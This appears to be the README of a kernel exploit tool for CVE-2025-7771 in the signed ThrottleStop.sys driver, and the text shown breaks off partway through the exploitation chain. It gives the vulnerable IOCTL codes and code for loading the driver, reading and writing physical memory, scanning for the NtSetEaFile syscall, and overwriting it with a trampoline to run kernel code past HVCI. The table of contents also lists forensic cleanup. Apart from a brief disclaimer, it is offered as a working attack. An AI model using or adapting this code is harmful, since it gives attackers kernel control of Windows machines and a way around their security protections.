🔓 ThrottleStop.sys Kernel Exploit — HVCI-Compatible Physical Memory Mapper

CVE-2025-7771 — Arbitrary Physical Memory Read/Write via ThrottleStop.sys IOCTLs

⚠️ Disclaimer

This project is published for educational and research purposes only. The goal is to demonstrate how a signed, trusted kernel driver can be weaponized for local privilege escalation (LPE) from Administrator to SYSTEM/Kernel, effectively bypassing modern Windows security features including HVCI (Hypervisor-Enforced Code Integrity) and Secure Boot.

Do not use this tool for malicious purposes. The author is not responsible for any misuse.

---

📋 Table of Contents

• Vulnerability Summary
• Affected Software
• Technical Analysis
  • Vulnerable IOCTLs
  • Root Cause
• Exploitation Chain
  • Step 1 — Loading the Vulnerable Driver
  • Step 2 — Physical Memory Primitives
  • Step 3 — Locating the Syscall Page
  • Step 4 — Syscall Hooking via Physical Write
  • Step 5 — Arbitrary Kernel Code Execution
  • Step 6 — Forensic Cleanup
• Why This Bypasses HVCI
• Impact Assessment
• Build & Usage
• Mitigation Recommendations
• References

---

Vulnerability Summary

Field	Details
CVE	CVE-2025-7771
Driver	ThrottleStop.sys (shipped with ThrottleStop)
Vendor	TechPowerUp / Kevin Glynn
Type	Arbitrary Physical Memory Read/Write
Impact	Local Privilege Escalation (Admin → Kernel)
CVSS	8.2 (High)
Signature	Microsoft-signed via WHQL / Attestation
HVCI Bypass	✅ Yes — driver is legitimately signed, allowed by CI policy

---

Affected Software

• ThrottleStop — all versions shipping ThrottleStop.sys with physical memory mapping IOCTLs
• Windows 10 1903 – 22H2 (x64)
• Windows 11 21H2 – 24H2 (x64), including builds with HVCI enabled
• Tested on: Windows 11 26100.x (24H2) with Secure Boot + HVCI

---

Technical Analysis

Vulnerable IOCTLs

The ThrottleStop.sys kernel driver exposes a device (\\.\ThrottleStop) accessible to any local Administrator. It implements two IOCTLs that provide unrestricted physical memory access:

#define IOCTL_TS_READ_PHYS   0x80006498   // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS  0x8000649C   // Write arbitrary physical address

Read Physical Memory (0x80006498)

Input:  ULONG64 PhysicalAddress  (8 bytes)
Output: Data buffer              (1–8 bytes per call, determined by OutputBufferLength)

The driver calls MmMapIoSpace() to map the requested physical address into kernel virtual space, copies the data to the output buffer, then calls MmUnmapIoSpace(). No validation is performed on the physical address — any address in the physical address space can be read.

Write Physical Memory (0x8000649C)

Input:  ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
        InputBufferLength = 8 + DataSize
Output: None

Same mechanism as read, but writes user-supplied data to the mapped physical address. Again, no address or range validation.

Root Cause

The driver was designed to allow ThrottleStop (a CPU undervolting/throttling utility) to directly read/write MSRs and hardware registers. The physical memory IOCTLs were likely added for MMIO access to PCI configuration space or CPU thermal sensors, but the implementation performs zero bounds checking:

1. ❌ No check if the physical address belongs to MMIO vs. RAM
2. ❌ No check if the address is within the caller's intended memory region
3. ❌ No ACL restriction beyond requiring GENERIC_READ | GENERIC_WRITE handle access
4. ❌ No allowlist of permitted physical address ranges

This transforms a legitimate hardware utility driver into a full kernel-level read/write primitive.

---

Exploitation Chain

The exploit chain escalates from a local Administrator account to arbitrary kernel code execution, effectively achieving SYSTEM-level ring-0 control.

Step 1 — Loading the Vulnerable Driver

The mapper drops ThrottleStop.sys to %TEMP%, creates a service registry entry under HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop, and loads it via NtLoadDriver():

// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");

// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");

// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);

// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);

Note: Since ThrottleStop.sys is legitimately signed, it loads even with HVCI/Secure Boot enabled. Windows CI policy trusts the certificate.

Step 2 — Physical Memory Primitives

With the device handle, the exploit can read/write any physical address on the system:

// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);

// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr;      // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);

The exploit wraps these into helper functions that handle chunked reads/writes (1, 2, 4, or 8 bytes per call) for arbitrary-length transfers.

Step 3 — Locating the Syscall Page

To execute arbitrary kernel functions, the exploit needs to find the physical address of a kernel syscall handler. It targets NtSetEaFile (a rarely-monitored syscall):

1. Resolve RVA: Load ntoskrnl.exe in usermode via LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES), get the RVA of NtSetEaFile
2. Calculate offset: Since ntoskrnl is mapped with 2MB large pages, the function's physical offset within a 2MB page = RVA & 0x1FFFFF
3. Scan physical memory: Enumerate physical memory ranges from the registry (HARDWARE\RESOURCEMAP\System Resources\Physical Memory), stride by 2MB, and compare bytes:

for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
    candidate_pa = phys_2mb + offset_in_2mb;
    read_phys(candidate_pa, &first8, 8);
    if (first8 == pattern_first8)  // quick check
    {
        read_phys(candidate_pa, verify, 32);  // full verify
        if (memcmp(verify, pattern, 32) == 0)
        {
            syscall_phys_addr = candidate_pa;  // found it!
            // ... validate via PsGetProcessSectionBaseAddress
        }
    }
}

4. Validate: Call the hooked syscall to invoke PsGetProcessSectionBaseAddress(current_pid) and verify the returned base matches GetModuleHandle(NULL).

Step 4 — Syscall Hooking via Physical Write

Once the physical address of NtSetEaFile is known, the exploit installs a 12-byte trampoline directly via physical memory writes:

; Original NtSetEaFile bytes (saved for restoration)
; Replaced with:
mov rax, <target_kernel_address>   ; 48 B8 <8-byte imm64>
push rax                            ; 50
ret                                 ; C3